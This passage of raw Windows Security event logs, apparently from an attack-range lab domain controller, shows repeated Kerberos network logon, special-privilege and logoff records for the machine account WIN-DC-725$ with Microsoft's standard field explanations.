destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248828 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC7B41 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64046 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248827 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC7B41 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248850 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC7FB0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248849 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC7FB0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64053 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248848 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC7FB0 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248847 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC7F4F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248846 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC7F4F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64052 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248845 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC7F4F - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248844 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC7EE9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248843 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC7EE9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64051 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248842 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC7EE9 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248841 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC7E88 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248840 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC7E88 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64050 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248839 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC7E88 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248862 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC8145 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248861 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC8145 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64057 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248860 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC8145 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248859 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC80E4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248858 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC80E4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64056 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248857 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC80E4 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248856 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC807E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248855 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC807E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64055 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248854 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC807E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248853 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC801D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248852 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC801D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64054 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:47:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248851 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC801D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:47:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=248874 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC82E2 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:47:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248873 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC82E2 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64061 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - 